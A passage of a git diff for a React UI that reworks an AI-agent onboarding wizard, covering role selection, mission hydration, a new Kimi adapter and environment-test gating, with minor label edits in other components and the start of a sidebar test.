+  // wizard writes nothing. If the wizard is open the customer is onboarding
+  // right now, which supersedes the draft anyway.
+  if (rawBlob !== undefined && companiesQuery.isFetching) {
     return null;
   }
 
@@ -324,6 +381,12 @@ function OnboardingWizardInner({
   const existingCompanyId = effectiveOnboardingOptions.companyId;
 
   const [step, setStep] = useState<Step>((saved?.step as Step) ?? initialStep);
+  // The step this run *entered* on, which bounds how far back it can walk.
+  // Captured once, when the wizard opens, for the same reason the step itself
+  // is: it derives from queries, so a live read would move the floor under a
+  // customer mid-flow — and here that would quietly re-open the "create a
+  // company" step to a run that already holds one.
+  const [entryStep, setEntryStep] = useState<number>((saved?.step as Step) ?? initialStep);
   const [onboardingPath, setOnboardingPath] = useState<"create" | "grow" | null>((saved?.onboardingPath as "create" | "grow" | null) ?? null);
 
   // "Grow existing" questionnaire fields
@@ -347,7 +410,12 @@ function OnboardingWizardInner({
   const [q4, setQ4] = useState((saved?.q4 as string) ?? ""); // What would success look like?
 
   // Step 2
-  const [agentName, setAgentName] = useState((saved?.agentName as string) ?? "Chief of staff");
+  // Neither is defaulted. The prototype asks for a role before it will create
+  // anything, and leaves the name optional — a pre-filled "Chief of staff" is a
+  // choice made on the customer's behalf that they then have to notice and
+  // undo. Picking a role fills the name; see nextAgentNameForRole.
+  const [agentName, setAgentName] = useState((saved?.agentName as string) ?? "");
+  const [agentRole, setAgentRole] = useState<AgentRole | "">((saved?.agentRole as AgentRole) ?? "");
   const [adapterType, setAdapterType] = useState<AdapterType>((saved?.adapterType as AdapterType) ?? "claude_local");
   const [cwd, setCwd] = useState((saved?.cwd as string) ?? "");
   const [model, setModel] = useState((saved?.model as string) ?? "");
@@ -390,6 +458,54 @@ function OnboardingWizardInner({
   // the user back to the route's initial step mid-flow.
   const createdCompanyIdRef = useRef<string | null>(null);
   createdCompanyIdRef.current = createdCompanyId;
+
+  // The mission of the company actually in hand, which is not always the one
+  // the route named - the dashboard opens the wizard with a company too. Same
+  // query key as the route lookup above, so when they agree this is one cache
+  // entry and no second request.
+  const {
+    mission: existingCompanyMission,
+    settled: existingMissionSettled,
+    fetching: existingMissionFetching,
+  } = useCompanyMission(createdCompanyId);
+
+  // Seed the mission field from the company's own goal.
+  //
+  // A company that already has its mission opens on the agent step, so steps 1
+  // and 2 never run and `companyGoal` stays empty. It is not only a display
+  // field: the Review checklist reads it, and `composeCeoInstructions` seeds
+  // the lead agent's instructions from it. Left empty, the agent is hired
+  // knowing nothing of the mission the customer gave at signup - which is the
+  // answer this whole flow exists to carry forward.
+  //
+  // Only when the field is empty, so a customer editing their mission is never
+  // overwritten by the stored copy.
+  const hydratedMissionForRef = useRef<string | null>(null);
+  useEffect(() => {
+    if (!effectiveOnboardingOpen || !createdCompanyId) return;
+    if (hydratedMissionForRef.current === createdCompanyId) return;
+    if (!existingMissionSettled || existingMissionFetching) return;
+    hydratedMissionForRef.current = createdCompanyId;
+    if (!existingCompanyMission.goalInput) return;
+    setCompanyGoal((current) => (current.trim() ? current : existingCompanyMission.goalInput));
+    setCreatedCompanyGoalId((current) => current ?? existingCompanyMission.goalId);
+  }, [
+    effectiveOnboardingOpen,
+    createdCompanyId,
+    existingMissionSettled,
+    existingMissionFetching,
+    existingCompanyMission.goalInput,
+    existingCompanyMission.goalId,
+  ]);
+
+  // Hiring seeds the agent's instructions from `companyGoal`, so it must not
+  // run while that field is still waiting to be hydrated - the agent would be
+  // created with an empty or foreign mission and nothing would report it.
+  const missionUnresolvedForHire = isExistingCompanyMissionUnresolved({
+    existingCompanyId: createdCompanyId,
+    goalsLoaded: existingMissionSettled,
+    goalsFetching: existingMissionFetching,
+  });
   // The step the request wants, mirrored for the same reason. `initialStep` is
   // *derived* - from the company list, and now from the goal list behind
   // `useCompanyMission` - so its value changes whenever one of those queries
@@ -423,6 +539,12 @@ function OnboardingWizardInner({
     setCreatedCompanyPrefix(null);
     setCompanyName("");
     setCompanyGoal("");
+    // The marker travels with the field it describes. It means "companyGoal
+    // holds this company's hydrated mission", so it is cleared wherever that
+    // field is - here and in `reset()`. Left behind, the next run believes a
+    // mission it no longer holds was already fetched, and hires the lead agent
+    // without one.
+    hydratedMissionForRef.current = null;
     setMissionPath(null);
     setMissionConfirmed(false);
     setCreatedCompanyGoalId(null);
@@ -445,6 +567,7 @@ function OnboardingWizardInner({
     // If explicit options are provided, they take precedence over saved state
     if (initialStepRef.current) {
       setStep(initialStepRef.current);
+      setEntryStep(initialStepRef.current);
     }
     const routeCompanyId = effectiveOnboardingOptions.companyId ?? null;
     if (routeCompanyId) {
@@ -525,7 +648,7 @@ function OnboardingWizardInner({
     if (!effectiveOnboardingOpen) return;
     const state = {
       step, companyName, companyGoal, missionPath, missionConfirmed,
-      q1, q2, q3, q4, agentName, adapterType, cwd, model, command, args, url,
+      q1, q2, q3, q4, agentName, agentRole, adapterType, cwd, model, command, args, url,
       createdCompanyId, createdCompanyPrefix, createdAgentId,
       createdCompanyGoalId, createdProjectId, createdIssueRef,
       onboardingPath, growWorkflows, growPainPoints, growAutomate,
@@ -533,7 +656,7 @@ function OnboardingWizardInner({
     onboardingDraftStorage.write(JSON.stringify(state));
   }, [
     effectiveOnboardingOpen, step, companyName, companyGoal, missionPath, missionConfirmed,
-    q1, q2, q3, q4, agentName, adapterType, cwd, model, command, args, url,
+    q1, q2, q3, q4, agentName, agentRole, adapterType, cwd, model, command, args, url,
     createdCompanyId, createdCompanyPrefix, createdAgentId,
     createdCompanyGoalId, createdProjectId, createdIssueRef,
     onboardingPath, growWorkflows, growPainPoints, growAutomate,
@@ -565,6 +688,7 @@ function OnboardingWizardInner({
     adapterType === "claude_local" ||
     adapterType === "codex_local" ||
     adapterType === "gemini_local" ||
+    adapterType === "kimi_local" ||
     adapterType === "opencode_local" ||
     adapterType === "pi_local" ||
     adapterType === "cursor";
@@ -624,6 +748,7 @@ function OnboardingWizardInner({
     claude_local: "claude",
     codex_local: "codex",
     gemini_local: "gemini",
+    kimi_local: "kimi",
     pi_local: "pi",
     cursor: "agent",
     opencode_local: "opencode",
@@ -686,6 +811,8 @@ function OnboardingWizardInner({
 
   function reset() {
     onboardingDraftStorage.clear();
+    // Cleared with `companyGoal` below - see `clearCompanyScopedState`.
+    hydratedMissionForRef.current = null;
     setStep(0);
     setOnboardingPath(null);
     setGrowWorkflows("");
@@ -701,7 +828,11 @@ function OnboardingWizardInner({
     setQ2("");
     setQ3("");
     setQ4("");
-    setAgentName("Chief of staff");
+    // Both cleared, matching the mount defaults: a reset that left a name
+    // behind without its role would put the walker back on a step whose CTA
+    // is disabled, next to a name nobody chose.
+    setAgentName("");
+    setAgentRole("");
     setAdapterType("claude_local");
     setModel("");
     setCommand("");
@@ -834,6 +965,8 @@ function OnboardingWizardInner({
       model:
         adapterType === "gemini_local"
           ? model || DEFAULT_GEMINI_LOCAL_MODEL
+          : adapterType === "kimi_local"
+            ? model || DEFAULT_KIMI_LOCAL_MODEL
           : adapterType === "cursor"
             ? model || DEFAULT_CURSOR_LOCAL_MODEL
             : adapterType === "opencode_local"
@@ -874,11 +1007,61 @@ function OnboardingWizardInner({
     setAdapterEnvLoading(true);
     setAdapterEnvError(null);
     try {
+      // Probe the environment a real run would use, so the Test matches a real
+      // run. The wizard has no agent yet, so the agent-default tier is always
+      // null; resolve the instance default and the instance local default. A
+      // settings-resolution failure surfaces an error instead of a silent host
+      // probe, which would report a false result.
+      let environmentList: Environment[];
+      let settings: InstanceSettings;
+      let managedSandboxOnly: boolean;
+      try {
+        const [list, generalSettings, experimentalSettings] = await Promise.all([
+          queryClient.ensureQueryData({
+            queryKey: queryKeys.environments.list(createdCompanyId),
+            queryFn: () => environmentsApi.list(createdCompanyId),
+          }),
+          queryClient.ensureQueryData({
+            queryKey: queryKeys.instance.settings,
+            queryFn: () => instanceSettingsApi.get(),
+          }),
+          queryClient.ensureQueryData({
+            queryKey: queryKeys.instance.experimentalSettings,
+            queryFn: () => instanceSettingsApi.getExperimental(),
+          }),
+        ]);
+        environmentList = list;
+        settings = generalSettings;
+        managedSandboxOnly = experimentalSettings?.enableManagedSandboxOnly === true;
+      } catch {
+        setAdapterEnvError(
+          "Could not load environment settings to determine which environment to test in. Retry the test.",
+        );
+        return null;
+      }
+      // Mirror the server run-time resolution, including the managed-sandbox-only
+      // redirect: when the resolution lands on the local environment and the
+      // policy is on, probe the managed sandbox the real run uses instead. The
+      // resolver throws when no managed sandbox is available, which the outer
+      // catch surfaces as a fail-closed error rather than a local host probe.
+      const environmentId = resolveAdapterTestEnvironmentId({
+        agentDefaultEnvironmentId: null,
+        instanceDefaultEnvironmentId: settings?.defaultEnvironmentId ?? null,
+        localDefaultEnvironmentId: resolveLocalDefaultEnvironmentId(environmentList),
+        managedSandboxOnly,
+        managedSandboxEnvironmentId: resolveManagedSandboxEnvironmentId(environmentList),
+        // The policy hides the local environment, so an instance default that
+        // still points at the hidden local row names no visible environment.
+        // Pass the visible ids so the resolver redirects that stale local
+        // default to the managed sandbox instead of sending the hidden local id.
+        visibleEnvironmentIds: environmentList.map((environment) => environment.id),
+      });
       const result = await agentsApi.testEnvironment(
         createdCompanyId,
         adapterType,
         {
-          adapterConfig: adapterConfigOverride ?? buildAdapterConfig()
+          adapterConfig: adapterConfigOverride ?? buildAdapterConfig(),
+          environmentId,
         }
       );
       setAdapterEnvResult(result);
@@ -907,21 +1090,16 @@ function OnboardingWizardInner({
       // without writing it would leave the company with no mission at all,
       // which is the state this whole change exists to remove.
       //
-      // Only when the wizard has not already written one. Returning to step 2
-      // and confirming again must not add a second goal.
-      if (createdCompanyGoalId) {
-        setStep(3);
-        return;
-      }
+      // A goal already in hand means update it, not skip the write. It used
+      // to mean skip, which was safe only while the field could not hold an
+      // unsaved change: the id was set by *writing* the mission, so arriving
+      // here with one meant nothing had been typed since. Hydration breaks
+      // that - the id now also arrives from the company's existing goal, with
+      // the customer's edits sitting in the field beside it - and skipping
+      // would discard exactly the answer this step asked for.
       setLoading(true);
       setError(null);
       try {
-        const parsedGoal = parseOnboardingGoalInput(companyGoal);
-        const payload = {
-          title: parsedGoal.title,
-          ...(parsedGoal.description ? { description: parsedGoal.description } : {})
-        };
-
         // The company may already have a mission this step could not see.
         // `useCompanyMission` fails open, so a goal lookup that exhausted its
         // retries sends a company that has one here anyway. Adding a second
@@ -932,24 +1110,29 @@ function OnboardingWizardInner({
         // customer just answered the question on a step that asked it, so
         // their answer is the mission. A read that fails still writes: an
         // unwritten mission is the failure this whole change exists to remove.
-        let existingGoalId: string | null = null;
+        let existingGoalId: string | null = createdCompanyGoalId;
         try {
           const goals = await queryClient.fetchQuery({
             queryKey: queryKeys.goals.list(createdCompanyId),
             queryFn: () => goalsApi.list(createdCompanyId)
           });
-          existingGoalId = selectDefaultCompanyGoalId(goals);
+          existingGoalId = existingGoalId ?? selectDefaultCompanyGoalId(goals);
         } catch {
           // Still cannot tell. Fall through and write.
         }
 
-        const goal = existingGoalId
-          ? await goalsApi.update(existingGoalId, payload)
-          : await goalsApi.create(createdCompanyId, {
-              ...payload,
-              level: "company",
-              status: "active"
-            });
+        const plan = planMissionPersistence({
+          goalInput: companyGoal,
+          existingGoalId,
+        });
+        if (plan.kind === "skip") {
+          setStep(3);
+          return;
+        }
+        const goal =
+          plan.kind === "update"
+            ? await goalsApi.update(plan.goalId, plan.payload)
+            : await goalsApi.create(createdCompanyId, plan.payload);
         queryClient.invalidateQueries({
           queryKey: queryKeys.goals.list(createdCompanyId)
         });
@@ -1012,6 +1195,11 @@ function OnboardingWizardInner({
   // doesn't hire a second agent.
   async function handleGiveHeartbeat() {
     if (!createdCompanyId) return;
+    // Guarded at the button and the Enter path too; repeated here because this
+    // seeds the agent's instructions from `companyGoal`, and hiring with an
+    // unhydrated mission fails silently - the agent exists, and simply never
+    // learns what the company is for.
+    if (missionUnresolvedForHire) return;
     if (createdAgentId) {
       setStep(5);
       return;
@@ -1055,11 +1243,22 @@ function OnboardingWizardInner({
       if (isLocalAdapter) {
         const result = adapterEnvResult ?? (await runAdapterEnvironmentTest());
         if (!result) return;
+        // Block the hire on a failed environment test. A pass or a warn may
+        // proceed; a fail means the agent cannot run as configured.
+        if (result.status === "fail") {
+          setError(
+            "The environment test failed. Fix the reported checks before you hire this agent.",
+          );
+          return;
+        }
       }
 
+      if (!agentRole) return;
       const hire = await agentsApi.hire(createdCompanyId, {
-        name: agentName.trim(),
-        role: "ceo",
+        // The name is optional; an agent that reaches here without one is
+        // named for the job it was hired to do rather than left blank.
+        name: agentName.trim() || AGENT_ROLE_LABELS[agentRole],
+        role: agentRole,
         adapterType,
         adapterConfig: buildAdapterConfig(),
         runtimeConfig: buildNewAgentRuntimeConfig()
@@ -1180,13 +1379,20 @@ function OnboardingWizardInner({
       if (step === 1 && companyName.trim()) setStep(2);
       else if (step === 2 && companyName.trim() && companyGoal.trim()) handleConfirmMission();
       else if (step === 3 && agentName.trim()) setStep(4);
-      else if (step === 4 && agentName.trim()) handleGiveHeartbeat();
+      else if (step === 4 && agentName.trim() && !missionUnresolvedForHire)
+        handleGiveHeartbeat();
       else if (step === 5) handleLaunchToDashboard();
     }
   }
 
   if (!effectiveOnboardingOpen) return null;
 
+  // The arc strip stands in for the full-length bar only when the run began on
+  // the arc — the Cloud-first path, where the company already exists and steps
+  // 1-2 never happen. A run that started at step 1 keeps one continuous count.
+  const isAgentArcStep = agentArcStepFor(step) !== null;
+  const showsAgentArcStepper = isAgentArcStep && entryStep >= 3;
+
   const launchStateIncomplete = step === 5 && (!createdCompanyId || !createdAgentId);
   const visibleError = error ?? (launchStateIncomplete ? INCOMPLETE_ONBOARDING_STATE_MESSAGE : null);
 
@@ -1232,13 +1438,33 @@ function OnboardingWizardInner({
               step === 1 || step === 2 ? "md:w-1/2" : "md:w-full"
             )}
           >
-            <div className="w-full max-w-md mx-auto my-auto px-8 py-12 shrink-0">
+            <div
+              className={cn(
+                "mx-auto my-auto shrink-0",
+                // The arc sits in the prototype's card frame; the earlier steps
+                // keep the split-panel layout they were designed for. One
+                // element styled two ways, not two wrappers, so the step
+                // content below renders exactly once.
+                isAgentArcStep
+                  ? "w-(--sz-560px) max-w-full rounded-xl border border-border bg-card px-8 py-10 sm:px-10 sm:py-11"
+                  : "w-full max-w-md px-8 py-12",
+              )}
+            >
               {/* 5-segment progress bar (brand .wsteps/.wstep) — segment N
-                  filled once step ≥ N. Completed segments jump back. */}
+                  filled once step ≥ N. Completed segments jump back.
+                  Hidden for a run that entered on the agent arc: the arc strip
+                  below counts that run's three steps, and showing both put two
+                  progress bars on the same screen. A run that started at step 1
+                  keeps this one throughout, so its count never restarts. */}
+              {!showsAgentArcStepper && (
               <div className="flex items-center gap-1.5 mb-8">
                 {([1, 2, 3, 4, 5] as const).map((s) => {
                   const filled = step >= s;
-                  const canJump = s < step;
+                  const canJump = canJumpToOnboardingStep({
+                    targetStep: s,
+                    currentStep: step,
+                    entryStep,
+                  });
                   return (
                     <button
                       key={s}
@@ -1256,75 +1482,85 @@ function OnboardingWizardInner({
                   );
                 })}
               </div>
+              )}
 
-              {/* Persistent evolving capsule (steps 3–5): a single AgentCapsule
-                  held in the same tree slot so React reuses the DOM node and the
-                  morph reads as one capsule coming to life — dashed slot →
-                  solid (configured) → liquid fill + blue glow (online). */}
+              {/* The agent arc's progress strip. Numbered 1–3 over the wizard's
+                  steps 3–5, because company creation already happened in Cloud
+                  and the mission step is skipped when it did. */}
+              {showsAgentArcStepper && (
+                <Stepper
+                  step={agentArcStepFor(step)!}
+                  canJumpToStep={(target) =>
+                    canJumpToOnboardingStep({
+                      targetStep: AGENT_ARC_WIZARD_STEPS[target - 1]!,
+                      currentStep: step,
+                      entryStep,
+                    })
+                  }
+                  onJumpToStep={(target) => setStep(AGENT_ARC_WIZARD_STEPS[target - 1]! as Step)}
+                />
+              )}
+
+              {/* The hero, above the heading, as the prototype has it: one
+                  AgentCapsule held in the same tree slot across steps 3–5, so
+                  React reuses the DOM node and the morph reads as a single
+                  capsule coming to life — dashed slot → traced outline →
+                  liquid fill. Moving between steps never replays the entrance. */}
               {step >= 3 && step <= 5 && (
-                <div className="mb-6 space-y-4">
-                  <div className="flex items-center gap-3 mb-1">
-                    <div className="bg-muted/50 p-2">
-                      {step === 5 ? (
-                        <Check className="h-5 w-5 text-muted-foreground" />
-                      ) : (
-                        <Bot className="h-5 w-5 text-muted-foreground" />
-                      )}
-                    </div>
-                    <div>
-                      <h3 className="font-medium">
-                        {step === 3
+                // reducedMotion="user" defers to the OS setting, so the hero
+                // arrives in place for anyone who asked for less movement. The
+                // token layer zeroes the CSS durations; this covers the JS half.
+                <MotionConfig reducedMotion="user">
+                  {/* mb-6 continues the prototype's single rhythm past this
+                      block: it groups the hero and heading, and the step's own
+                      controls sit a step below on the same spacing. */}
+                  <div className="mb-6 space-y-6">
+                    <motion.div
+                      initial={capsuleHeroMotion.initial}
+                      animate={capsuleHeroMotion.animate}
+                      transition={capsuleHeroMotion.transition}
+                      className="flex flex-col items-center gap-2"
+                    >
+                      <AgentCapsule
+                        state={step === 3 ? "slot" : step === 4 ? "configured" : "online"}
+                        gradient={5}
+                        glow="blue"
+                        size="md"
+                        // The arc is where the agent is born, so the
+                        // slot→configured morph traces the outline on.
+                        strokeDraw
+                      />
+                      <AgentPreview
+                        agentName={agentName}
+                        agentRole={agentRole ? AGENT_ROLE_LABELS[agentRole] : ""}
+                      />
+                    </motion.div>
+
+                    <OnboardingHeading
+                      center
+                      title={
+                        step === 3
                           ? "Create your first agent"
                           : step === 4
                             ? "Connect a model"
-                            : "Review"}
-                      </h3>
-                      <p className="text-xs text-muted-foreground">
-                        {step === 3 ? (
+                            : "Review"
+                      }
+                      // The agent step carries no lede, as the prototype has it:
+                      // the capsule and the heading say what this is, and a
+                      // sentence restating it only pushes the fields down.
+                      lede={
+                        step === 3 ? undefined : step === 4 ? (
                           <>
-                            They'll help drive{" "}
-                            <span className="font-medium text-foreground">{companyName}</span>{" "}
-                            toward its mission. We default to{" "}
-                            <span className="font-medium text-foreground">Chief of staff</span>.
-                            Rename it to anything you like.
+                            What model would you like your first agent to use? You can
+                            choose different models when creating additional agents.
                           </>
-                        ) : step === 4 ? (
-                          <>Pick the adapter and model your lead will run on, then check the environment.</>
                         ) : (
                           <>Your first agent is online and ready to work.</>
-                        )}
-                      </p>
-                    </div>
-                  </div>
-
-                  <div
-                    className={cn(
-                      "flex flex-col items-center py-1 text-center",
-                      step === 5 ? "mt-8 gap-2.5" : "gap-1.5"
-                    )}
-                  >
-                    <AgentCapsule
-                      state={step === 3 ? "slot" : step === 4 ? "configured" : "online"}
-                      gradient={5}
-                      glow="blue"
-                      size="md"
+                        )
+                      }
                     />
-                    {step !== 3 && (
-                      <p
-                        className={cn(
-                          "text-muted-foreground",
-                          step === 5 ? "text-sm" : "text-(length:--text-micro)"
-                        )}
-                      >
-                        {step === 4 ? (
-                          "your team lead, taking shape"
-                        ) : (
-                          <span className="font-medium text-foreground">{agentName}</span>
-                        )}
-                      </p>
-                    )}
                   </div>
-                </div>
+                </MotionConfig>
               )}
 
               {/* Step content */}
@@ -1654,25 +1890,47 @@ function OnboardingWizardInner({
                 </div>
               )}
 
-              {/* Step 3: Create your team lead — name only (capsule above) */}
+              {/* Step 3: role, then an optional name — the prototype's field
+                  pair, in its order and its widths. */}
               {step === 3 && (
-                <div className="space-y-5">
-                  <div>
-                    <label className="text-xs text-muted-foreground mb-1 block">
-                      Name
-                    </label>
-                    <input
-                      className="w-full rounded-md border border-border bg-transparent px-3 py-2 text-sm outline-none focus:ring-1 focus:ring-ring placeholder:text-muted-foreground/50"
-                      placeholder="Chief of staff"
+                <div className="mx-auto flex w-full max-w-(--sz-320px) flex-col gap-6">
+                  <div className="flex flex-col gap-2">
+                    <Label htmlFor="onboarding-agent-role">Role</Label>
+                    {/* Options come from the AgentRole enum, not the prototype's
+                        mock list: four of that list's seven entries have no
+                        equivalent here, and one ("Coder") would fail validation
+                        at hire time. */}
+                    <Select
+                      value={agentRole || undefined}
+                      onValueChange={(value) => {
+                        const nextRole = value as AgentRole;
+                        setAgentRole(nextRole);
+                        setAgentName((current) =>
+                          nextAgentNameForRole({ currentName: current, nextRole }),
+                        );
+                      }}
+                    >
+                      <SelectTrigger id="onboarding-agent-role" className="w-full">
+                        <SelectValue placeholder="Select a role…" />
+                      </SelectTrigger>
+                      <SelectContent>
+                        {AGENT_ROLES.map((role) => (
+                          <SelectItem key={role} value={role}>
+                            {AGENT_ROLE_LABELS[role]}
+                          </SelectItem>
+                        ))}
+                      </SelectContent>
+                    </Select>
+                  </div>
+                  <div className="flex flex-col gap-2">
+                    <Label htmlFor="onboarding-agent-name">
+                      Name <span className="font-normal text-muted-foreground">(optional)</span>
+                    </Label>
+                    <Input
+                      id="onboarding-agent-name"
+                      placeholder="Name"
                       value={agentName}
                       onChange={(e) => setAgentName(e.target.value)}
-                      onKeyDown={(e) => {
-                        if (e.key === "Enter" && agentName.trim()) {
-                          e.preventDefault();
-                          setStep(4);
-                        }
-                      }}
-                      autoFocus
                     />
                   </div>
                 </div>
@@ -1758,6 +2016,10 @@ function OnboardingWizardInner({
                                 setModel(DEFAULT_GEMINI_LOCAL_MODEL);
                                 return;
                               }
+                              if (nextType === "kimi_local" && !model) {
+                                setModel(DEFAULT_KIMI_LOCAL_MODEL);
+                                return;
+                              }
                               if (nextType === "cursor" && !model) {
                                 setModel(DEFAULT_CURSOR_LOCAL_MODEL);
                                 return;
@@ -1916,9 +2178,21 @@ function OnboardingWizardInner({
 
                       {adapterEnvResult &&
                       adapterEnvResult.status === "pass" ? (
-                        <div className="flex items-center gap-2 rounded-md border border-green-300 dark:border-green-500/40 bg-green-50 dark:bg-green-500/10 px-3 py-2 text-xs text-green-700 dark:text-green-300 animate-in fade-in slide-in-from-bottom-1 duration-300">
-                          <Check className="h-3.5 w-3.5 shrink-0" />
-                          <span className="font-medium">Passed</span>
+                        <div className="space-y-2 animate-in fade-in slide-in-from-bottom-1 duration-300">
+                          {/* Use the shared status-chip helper with the done
+                              status hue, so the pass banner derives its fill,
+                              text, and border from the design tokens in both
+                              modes instead of raw color values. */}
+                          <div
+                            className="status-chip flex items-center gap-2 rounded-md border px-2.5 py-2 text-(length:--text-micro)"
+                            style={{ "--sc": "var(--status-task-done)" } as CSSProperties}
+                          >
+                            <Check className="size-3.5 shrink-0" />
+                            <span className="font-medium">Passed</span>
+                          </div>
+                          {/* Show the checks on a pass too, so the target and the
+                              auth signals stay visible before the hire. */}
+                          <AdapterEnvironmentResult result={adapterEnvResult} />
                         </div>
                       ) : adapterEnvResult ? (
                         <AdapterEnvironmentResult result={adapterEnvResult} />
@@ -1958,6 +2232,8 @@ function OnboardingWizardInner({
                               ? `${effectiveAdapterCommand} exec --json -`
                               : adapterType === "gemini_local"
                                 ? `${effectiveAdapterCommand} --output-format json "Respond with hello."`
+                              : adapterType === "kimi_local"
+                                ? `${effectiveAdapterCommand} -p "Respond with hello." --output-format stream-json`
                               : adapterType === "opencode_local"
                                 ? `${effectiveAdapterCommand} run --format json "Respond with hello."`
                               : `${effectiveAdapterCommand} --print - --output-format stream-json --verbose`}
@@ -1969,6 +2245,7 @@ function OnboardingWizardInner({
                           {adapterType === "cursor" ||
                           adapterType === "codex_local" ||
                           adapterType === "gemini_local" ||
+                          adapterType === "kimi_local" ||
                           adapterType === "opencode_local" ? (
                             <p className="text-muted-foreground">
                               If auth fails, set{" "}
@@ -1977,6 +2254,8 @@ function OnboardingWizardInner({
                                   ? "CURSOR_API_KEY"
                                   : adapterType === "gemini_local"
                                     ? "GEMINI_API_KEY"
+                                    : adapterType === "kimi_local"
+                                      ? "KIMI_MODEL_NAME + KIMI_MODEL_API_KEY"
                                     : "OPENAI_API_KEY"}
                               </span>{" "}
                               in env or run{" "}
@@ -1987,6 +2266,8 @@ function OnboardingWizardInner({
                                     ? "codex login"
                                     : adapterType === "gemini_local"
                                       ? "gemini auth"
+                                      : adapterType === "kimi_local"
+                                        ? "kimi login"
                                       : "opencode auth login"}
                               </span>
                               .
@@ -2064,10 +2345,40 @@ function OnboardingWizardInner({
                 </div>
               )}
 
+              {isAgentArcStep && (
+                <FooterNav
+                  onBack={
+                    canGoBackFromOnboardingStep({ currentStep: step, entryStep })
+                      ? () => setStep((step - 1) as Step)
+                      : undefined
+                  }
+                  // The prototype's cloud flow hires on this step and calls the
+                  // action "Create". Here the model step sits between, so this
+                  // one advances — which is exactly the distinction the
+                  // prototype's own local flow draws with "Next".
+                  primaryLabel={step === 3 ? "Next" : step === 4 ? "Connect" : "Get started"}
+                  loadingLabel={step === 4 ? "Connecting..." : "Launching..."}
+                  loading={step === 3 ? false : loading}
+                  primaryDisabled={
+                    step === 3
+                      ? !agentRole
+                      : step === 4
+                        ? loading || adapterEnvLoading || missionUnresolvedForHire
+                        : loading || launchStateIncomplete
+                  }
+                  onPrimary={() => {
+                    if (step === 3) setStep(4);
+                    else if (step === 4) handleGiveHeartbeat();
+                    else handleLaunchToDashboard();
+                  }}
+                />
+              )}
+
               {/* Footer navigation */}
+              {!isAgentArcStep && (
               <div className="flex items-center justify-between mt-8">
                 <div>
-                  {step > 1 && step > (effectiveOnboardingOptions.initialStep ?? 0) && (
+                  {canGoBackFromOnboardingStep({ currentStep: step, entryStep }) && (
                     <Button
                       variant="ghost"
                       size="sm"
@@ -2120,7 +2431,12 @@ function OnboardingWizardInner({
                   {step === 4 && (
                     <Button
                       size="sm"
-                      disabled={!agentName.trim() || loading || adapterEnvLoading}
+                      disabled={
+                        !agentName.trim() ||
+                        loading ||
+                        adapterEnvLoading ||
+                        missionUnresolvedForHire
+                      }
                       onClick={handleGiveHeartbeat}
                     >
                       {loading ? (
@@ -2147,6 +2463,7 @@ function OnboardingWizardInner({
                   )}
                 </div>
               </div>
+              )}
             </div>
           </div>
           )}
diff --git a/ui/src/components/OutputFeedbackButtons.tsx b/ui/src/components/OutputFeedbackButtons.tsx
index e1591b27bda..e654098f3d9 100644
--- a/ui/src/components/OutputFeedbackButtons.tsx
+++ b/ui/src/components/OutputFeedbackButtons.tsx
@@ -208,7 +208,7 @@ export function OutputFeedbackButtons({
               and future votes local.
             </p>
             <p>
-              You can change this later in Instance Settings &gt; General.
+              You can change this later in Settings &gt; General.
             </p>
             {termsUrl ? (
               <a
diff --git a/ui/src/components/ProjectProperties.tsx b/ui/src/components/ProjectProperties.tsx
index 6a181abc16b..1f8c95d24c1 100644
--- a/ui/src/components/ProjectProperties.tsx
+++ b/ui/src/components/ProjectProperties.tsx
@@ -1,5 +1,5 @@
 import { useState } from "react";
-import { filterManagedSandboxSelectableEnvironments } from "@/lib/managed-sandbox-environment";
+import { environmentDisplayLabel, filterManagedSandboxSelectableEnvironments } from "@/lib/managed-sandbox-environment";
 import { Link } from "@/lib/router";
 import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query";
 import type { Project, SharedWorkspaceConcurrency } from "@paperclipai/shared";
@@ -68,7 +68,7 @@ const SHARED_WORKSPACE_CONCURRENCY_OPTIONS: {
   {
     value: "auto",
     label: "Auto",
-    help: "Concurrent runs on local/SSH runners; runs take turns in cloud sandboxes.",
+    help: "Concurrent runs on local/SSH runners; runs take turns in cloud environments.",
   },
   {
     value: "serialize",
@@ -860,6 +860,18 @@ export function ProjectProperties({ project, onUpdate, onFieldUpdate, getFieldSa
                           service.command ?? "No URL"
                         )}
                       </div>
+                      {service.exposure && service.exposure.state !== "removed" ? (
+                        <div
+                          className={cn(
+                            "text-(length:--text-nano)",
+                            service.exposure.state === "failed" || service.exposure.state === "cleanup_pending"
+                              ? "text-destructive"
+                              : "text-muted-foreground",
+                          )}
+                        >
+                          HTTPS {service.exposure.state.replace("_", " ")}
+                        </div>
+                      ) : null}
                     </div>
                     <div className="text-(length:--text-nano) text-muted-foreground whitespace-nowrap">
                       {service.lifecycle}
@@ -1107,7 +1119,7 @@ export function ProjectProperties({ project, onUpdate, onFieldUpdate, getFieldSa
                               <option value="">No environment</option>
                               {runSelectableEnvironments.map((environment) => (
                                 <option key={environment.id} value={environment.id}>
-                                  {environment.name} · {environment.driver}
+                                  {environmentDisplayLabel(environment)}
                                 </option>
                               ))}
                             </select>
diff --git a/ui/src/components/SidebarCompanyMenu.test.tsx b/ui/src/components/SidebarCompanyMenu.test.tsx
index e9779022f23..4f57fae617a 100644
--- a/ui/src/components/SidebarCompanyMenu.test.tsx
+++ b/ui/src/components/SidebarCompanyMenu.test.tsx
@@ -54,9 +54,19 @@ vi.mock("@/lib/router", () => ({
   useNavigate: () => mockNavigate,
 }));
 
+// Overridable so the list-unavailable branch can be exercised; null means "use
+// the default three companies below".
+const mockCompanyState = vi.hoisted(() => ({
+  companies: null as unknown[] | null,
+  companyListUnavailable: false,
+  retryCompanies: vi.fn(),
+}));
+
 vi.mock("@/context/CompanyContext", () => ({
   useCompany: () => ({
-    companies: [
+    companyListUnavailable: mockCompanyState.companyListUnavailable,
+    retryCompanies: mockCompanyState.retryCompanies,
+    companies: mockCompanyState.companies ?? [
       {
         id: "company-1",
         issuePrefix: "PAP",
@@ -180,6 +190,8 @@ describe("SidebarCompanyMenu", () => {
       updatedAt: null,
     });
     mockLocation.pathname = "/PAP/dashboard";
+    mockCompanyState.companies = null;
+    mockCompanyState.companyListUnavailable = false;
   });
 
   afterEach(() => {
@@ -218,6 +230,55 @@ describe("SidebarCompanyMenu", () => {
     await flushReact();
   }
 
+  // This menu is the one the app renders, so it is the only place a customer can
+  // act on a failed company list. Saying "No companies" there states something
+  // about the account that a failed request cannot support, and leaves the tab
+  // with no way back short of a browser reload.
+  it("offers a way back when the company list could not be loaded", async () => {
+    mockCompanyState.companies = [];
+    mockCompanyState.companyListUnavailable = true;
+
+    const { root } = renderMenu();
